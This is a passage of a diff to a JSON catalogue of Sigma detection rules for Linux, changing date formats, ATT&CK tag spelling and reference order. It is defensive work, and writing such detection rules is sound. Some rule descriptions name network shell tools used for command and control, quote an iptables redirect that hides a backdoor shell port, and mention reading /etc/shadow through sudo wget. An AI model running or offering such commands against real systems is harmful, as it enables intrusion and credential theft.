"https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_webshell.yml" ], "tags": [ @@ -97272,10 +97568,10 @@ "value": "Antivirus Web Shell Detection" }, { - "description": "Detects a highly relevant Antivirus alert that reports an exploitation framework", + "description": "Detects a highly relevant Antivirus alert that reports an exploitation framework.", "meta": { "author": "Florian Roth (Nextron Systems), Arnim Rupp", - "creation_date": "2018/09/09", + "creation_date": "2018-09-09", "falsepositive": [ "Unlikely" ], @@ -97284,16 +97580,16 @@ "logsource.category": "antivirus", "logsource.product": "No established product", "refs": [ - "https://www.nextron-systems.com/?s=antivirus", + "https://www.virustotal.com/gui/file/8f8daabe1c8ceb5710949283818e16c4aa8059bf2ce345e2f2c90b8692978424", "https://www.virustotal.com/gui/file/925b0b28472d4d79b4bf92050e38cc2b8f722691c713fc28743ac38551bc3797", + "https://www.nextron-systems.com/?s=antivirus", "https://www.virustotal.com/gui/file/d9669f7e3eb3a9cdf6a750eeb2ba303b5ae148a43e36546896f1d1801e912466", - "https://www.virustotal.com/gui/file/8f8daabe1c8ceb5710949283818e16c4aa8059bf2ce345e2f2c90b8692978424", "https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_exploiting.yml" ], "tags": [ "attack.execution", "attack.t1203", - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -97320,7 +97616,7 @@ "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/05", + "creation_date": "2022-07-05", "falsepositive": [ "Unlikely" ], @@ -97333,7 +97629,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_triple_cross_rootkit_lock_file.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "c0239255-822c-4630-b7f1-35362bcb8f44", @@ -97343,7 +97639,7 @@ "description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", + "creation_date": "2021-10-15", "falsepositive": [ "Any legitimate cron file." ], @@ -97376,7 +97672,7 @@ "description": "Detects the creation of doas.conf file in linux host platform.", "meta": { "author": "Sittikorn S, Teoderick Contreras", - "creation_date": "2022/01/20", + "creation_date": "2022-01-20", "falsepositive": [ "Unlikely" ], @@ -97390,7 +97686,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_doas_conf_creation.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548" ] }, @@ -97410,7 +97706,7 @@ "description": "Detects the creation of shell scripts under the \"profile.d\" path.", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Legitimate shell scripts in the \"profile.d\" directory could be common in your environment. Apply additional filter accordingly via \"image\", by adding specific filenames you \"trust\" or by correlating it with other events.", "Regular file creation during system update or software installation by the package manager" @@ -97420,10 +97716,10 @@ "logsource.category": "file_event", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_susp_shell_script_under_profile_directory.yml" ], "tags": [ @@ -97437,7 +97733,7 @@ "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/05", + "creation_date": "2022-07-05", "falsepositive": [ "Unlikely" ], @@ -97451,7 +97747,7 @@ ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1053.003" ] }, @@ -97471,7 +97767,7 @@ "description": "Detects the use of wget to download content in a temporary directory such as \"/tmp\" or \"/var/tmp\"", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/06/02", + "creation_date": "2023-06-02", "falsepositive": [ "Legitimate downloads of files in the tmp folder." ], @@ -97480,14 +97776,14 @@ "logsource.category": "file_event", "logsource.product": "linux", "refs": [ - "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", - "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/", "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection", + "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html", + "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_wget_download_file_in_tmp_dir.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -97507,7 +97803,7 @@ "description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/05", + "creation_date": "2022-07-05", "falsepositive": [ "Creation of legitimate files in sudoers.d folder part of administrator work" ], @@ -97540,7 +97836,7 @@ "description": "Detects possible command execution by web application/web shell", "meta": { "author": "Ilyas Ochkov, Beyu Denis, oscd.community", - "creation_date": "2019/10/12", + "creation_date": "2019-10-12", "falsepositive": [ "Admin activity", "Crazy web applications" @@ -97574,7 +97870,7 @@ "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n", "meta": { "author": "Marie Euler", - "creation_date": "2020/05/18", + "creation_date": "2020-05-18", "falsepositive": [ "Admin or User activity" ], @@ -97587,7 +97883,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml" ], "tags": [ - "attack.command_and_control" + "attack.command-and-control" ] }, "uuid": "f7158a64-6204-4d6d-868a-6e6378b467e0", @@ -97597,7 +97893,7 @@ "description": "Detect changes in auditd configuration files", "meta": { "author": "Mikhail Larin, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate administrative activity" ], @@ -97606,12 +97902,12 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/Neo23x0/auditd/blob/master/audit.rules", "Self Experience", + "https://github.com/Neo23x0/auditd/blob/master/audit.rules", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.006" ] }, @@ -97631,7 +97927,7 @@ "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/01/23", + "creation_date": "2018-01-23", "falsepositive": [ "Admin activity (especially in /tmp folders)", "Crazy web applications" @@ -97647,7 +97943,7 @@ "tags": [ "attack.t1587", "attack.t1584", - "attack.resource_development" + "attack.resource-development" ] }, "related": [ @@ -97673,7 +97969,7 @@ "description": "Detect attempt to enable auditing of TTY input", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/05/24", + "creation_date": "2021-05-24", "falsepositive": [ "Administrative work" ], @@ -97682,14 +97978,14 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", + "https://linux.die.net/man/8/pam_tty_audit", "https://access.redhat.com/articles/4409591#audit-record-types-2", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", - "https://linux.die.net/man/8/pam_tty_audit", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003", "attack.t1056.001" ] @@ -97717,7 +98013,7 @@ "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Legitimate administrator or user uses network sniffing tool for legitimate reasons." ], @@ -97730,7 +98026,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.discovery", "attack.t1040" ] @@ -97751,7 +98047,7 @@ "description": "Detect file time attribute change to hide new or changes to existing files.", "meta": { "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -97764,7 +98060,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attr.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.006" ] }, @@ -97784,7 +98080,7 @@ "description": "Detects overwriting (effectively wiping/deleting) of a file.", "meta": { "author": "Jakob Weinzettl, oscd.community", - "creation_date": "2019/10/23", + "creation_date": "2019-10-23", "falsepositive": [ "Appending null bytes to files.", "Legitimate overwrite of files." @@ -97818,7 +98114,7 @@ "description": "Detects system information discovery commands", "meta": { "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Legitimate administration activities" ], @@ -97851,7 +98147,7 @@ "description": "Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/11/28", + "creation_date": "2021-11-28", "falsepositive": [ "Unknown" ], @@ -97860,15 +98156,15 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://man7.org/linux/man-pages/man8/getcap.8.html", "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", + "https://man7.org/linux/man-pages/man8/getcap.8.html", "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099", "https://mn3m.info/posts/suid-vs-capabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml" ], "tags": [ "attack.collection", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1123", "attack.t1548" ] @@ -97896,7 +98192,7 @@ "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.", "meta": { "author": "Pawel Mazur", - "creation_date": "2022/02/03", + "creation_date": "2022-02-03", "falsepositive": [ "Admin work like legit service installs." ], @@ -97929,7 +98225,7 @@ "description": "Detects command line parameter very often used with coin miners", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/10/09", + "creation_date": "2021-10-09", "falsepositive": [ "Other tools that use a --cpu-priority flag" ], @@ -97942,7 +98238,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1068" ] }, @@ -97962,7 +98258,7 @@ "description": "Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/10/01", + "creation_date": "2021-10-01", "falsepositive": [ "Legitimate usage of xclip tools" ], @@ -97995,7 +98291,7 @@ "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unknown" ], @@ -98004,12 +98300,12 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.006" ] }, @@ -98029,7 +98325,7 @@ "description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/11", + "creation_date": "2021-09-11", "falsepositive": [ "Unknown" ], @@ -98042,7 +98338,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.003" ] }, @@ -98062,7 +98358,7 @@ "description": "All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\nThe traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\n", "meta": { "author": "Rafal Piasecki", - "creation_date": "2022/08/10", + "creation_date": "2022-08-10", "falsepositive": [ "Legitimate ports redirect" ], @@ -98076,7 +98372,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.004" ] }, @@ -98096,7 +98392,7 @@ "description": "Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/11", + "creation_date": "2021-09-11", "falsepositive": [ "Unknown" ], @@ -98109,7 +98405,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.003" ] }, @@ -98129,7 +98425,7 @@ "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.", "meta": { "author": "Pawel Mazur", - "creation_date": "2022/01/22", + "creation_date": "2022-01-22", "falsepositive": [ "Admin activity" ], @@ -98138,13 +98434,13 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://firewalld.org/documentation/man-pages/firewall-cmd.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://firewalld.org/documentation/man-pages/firewall-cmd.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml" ], "tags": [ "attack.t1562.004", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -98163,7 +98459,7 @@ "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\nMicrosoft Azure, and Microsoft Operations Management Suite.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/09/17", + "creation_date": "2021-09-17", "falsepositive": [ "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." ], @@ -98177,8 +98473,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.initial_access", + "attack.privilege-escalation", + "attack.initial-access", "attack.execution", "attack.t1068", "attack.t1190", @@ -98215,7 +98511,7 @@ "description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/13", + "creation_date": "2021-09-13", "falsepositive": [ "Legitimate use of screenshot utility" ], @@ -98224,8 +98520,8 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://linux.die.net/man/1/xwd", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", + "https://linux.die.net/man/1/xwd", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml" ], "tags": [ @@ -98249,7 +98545,7 @@ "description": "detects BPFDoor .lock and .pid files access in temporary file storage facility", "meta": { "author": "Rafal Piasecki", - "creation_date": "2022/08/10", + "creation_date": "2022-08-10", "falsepositive": [ "Unlikely" ], @@ -98291,7 +98587,7 @@ "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/24", + "creation_date": "2021-09-24", "falsepositive": [ "Legitimate usage of xclip tools" ], @@ -98325,7 +98621,7 @@ "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/11/18", + "creation_date": "2021-11-18", "falsepositive": [ "Legitimate usage of wget utility to post a file" ], @@ -98359,7 +98655,7 @@ "description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Admin activity" ], @@ -98392,7 +98688,7 @@ "description": "Detects relevant commands often related to malware or hacking activity", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/12/12", + "creation_date": "2017-12-12", "falsepositive": [ "Admin activity" ], @@ -98425,7 +98721,7 @@ "description": "Detects attempts to record audio with arecord utility", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/04", + "creation_date": "2021-09-04", "falsepositive": [ "Unknown" ], @@ -98459,7 +98755,7 @@ "description": "Detects password policy discovery commands", "meta": { "author": "Ömer Günal, oscd.community, Pawel Mazur", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Legitimate administration activities" ], @@ -98468,10 +98764,10 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", - "https://man7.org/linux/man-pages/man1/passwd.1.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", + "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", "https://linux.die.net/man/1/chage", + "https://man7.org/linux/man-pages/man1/passwd.1.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml" ], "tags": [ @@ -98495,7 +98791,7 @@ "description": "Detects extracting of zip file from image file", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/09", + "creation_date": "2021-09-09", "falsepositive": [ "Unknown" ], @@ -98508,7 +98804,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.003" ] }, @@ -98528,7 +98824,7 @@ "description": "Detects appending of zip file to image", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/09", + "creation_date": "2021-09-09", "falsepositive": [ "Unknown" ], @@ -98541,7 +98837,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.003" ] }, @@ -98561,7 +98857,7 @@ "description": "Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access.\nDetection rules that match only on the disabling of firewalls will miss this.\n", "meta": { "author": "IAI", - "creation_date": "2023/03/06", + "creation_date": "2023-03-06", "falsepositive": [ "Legitimate admin activity" ], @@ -98576,7 +98872,7 @@ ], "tags": [ "attack.t1562.004", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -98595,7 +98891,7 @@ "description": "Detects adversary creating screen capture of a desktop with Import Tool.\nHighly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\nImageMagick must be installed.\n", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/21", + "creation_date": "2021-09-21", "falsepositive": [ "Legitimate use of screenshot utility" ], @@ -98604,9 +98900,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", "https://imagemagick.org/", "https://linux.die.net/man/1/import", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml" ], "tags": [ @@ -98630,7 +98926,7 @@ "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", "meta": { "author": "Marie Euler, Pawel Mazur", - "creation_date": "2020/05/18", + "creation_date": "2020-05-18", "falsepositive": [ "Admin activity" ], @@ -98665,7 +98961,7 @@ "description": "Detects a reload or a start of a service.", "meta": { "author": "Jakob Weinzettl, oscd.community", - "creation_date": "2019/09/23", + "creation_date": "2019-09-23", "falsepositive": [ "Installation of legitimate service.", "Legitimate reconfiguration of service." @@ -98699,7 +98995,7 @@ "description": "Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.", "meta": { "author": "Peter Matkovski, IAI", - "creation_date": "2023/03/06", + "creation_date": "2023-03-06", "falsepositive": [ "Admin or User activity are expected to generate some false positives" ], @@ -98708,9 +99004,9 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ - "https://www.glitch-cat.com/p/green-lambert-and-attack", "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", "https://objective-see.org/blog/blog_0x68.html", + "https://web.archive.org/web/20221204161143/https://www.glitch-cat.com/p/green-lambert-and-attack", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unix_shell_configuration_modification.yml" ], "tags": [ @@ -98734,7 +99030,7 @@ "description": "Detecting attempts to extract passwords with grep", "meta": { "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -98747,7 +99043,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_find_cred_in_files.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.001" ] }, @@ -98767,7 +99063,7 @@ "description": "Detects enumeration of local or remote network services.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/21", + "creation_date": "2020-10-21", "falsepositive": [ "Legitimate administration activities" ], @@ -98800,7 +99096,7 @@ "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": "No established falsepositives", "filename": "lnx_auditd_masquerading_crond.yml", "level": "medium", @@ -98811,7 +99107,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_masquerading_crond.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003" ] }, @@ -98831,7 +99127,7 @@ "description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/06", + "creation_date": "2021-09-06", "falsepositive": [ "Unknown" ], @@ -98844,7 +99140,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.001" ] }, @@ -98864,7 +99160,7 @@ "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", "meta": { "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Legitimate administrative activity" ], @@ -98897,7 +99193,7 @@ "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Legitimate use of archiving tools by legitimate user." ], @@ -98930,7 +99226,7 @@ "description": "Detects System Information Discovery commands", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/09/03", + "creation_date": "2021-09-03", "falsepositive": [ "Likely" ], @@ -98963,7 +99259,7 @@ "description": "Detects removing immutable file attribute.", "meta": { "author": "Jakob Weinzettl, oscd.community", - "creation_date": "2019/09/23", + "creation_date": "2019-09-23", "falsepositive": [ "Administrator interacting with immutable files (e.g. for instance backups)." ], @@ -98976,7 +99272,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1222.002" ] }, @@ -98996,7 +99292,7 @@ "description": "Detects file and folder permission changes.", "meta": { "author": "Jakob Weinzettl, oscd.community", - "creation_date": "2019/09/23", + "creation_date": "2019-09-23", "falsepositive": [ "User interacting with files permissions (normal/daily behaviour)." ], @@ -99009,7 +99305,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1222.002" ] }, @@ -99029,7 +99325,7 @@ "description": "Detect changes of syslog daemons configuration files", "meta": { "author": "Mikhail Larin, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Legitimate administrative activity" ], @@ -99042,7 +99338,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.006" ] }, @@ -99062,7 +99358,7 @@ "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n", "meta": { "author": "Igor Fits, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -99075,7 +99371,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.001" ] }, @@ -99095,7 +99391,7 @@ "description": "Detects commandline operations on shell history files", "meta": { "author": "Mikhail Larin, oscd.community", - "creation_date": "2020/10/17", + "creation_date": "2020-10-17", "falsepositive": [ "Legitimate administrative activity", "Legitimate software, cleaning hist file" @@ -99109,7 +99405,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.003" ] }, @@ -99129,7 +99425,7 @@ "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n", "meta": { "author": "Pawel Mazur", - "creation_date": "2021/11/02", + "creation_date": "2021-11-02", "falsepositive": [ "Unknown" ], @@ -99138,14 +99434,14 @@ "logsource.category": "No established category", "logsource.product": "linux", "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", "https://man7.org/linux/man-pages/man8/kmod.8.html", "https://linux.die.net/man/8/insmod", - 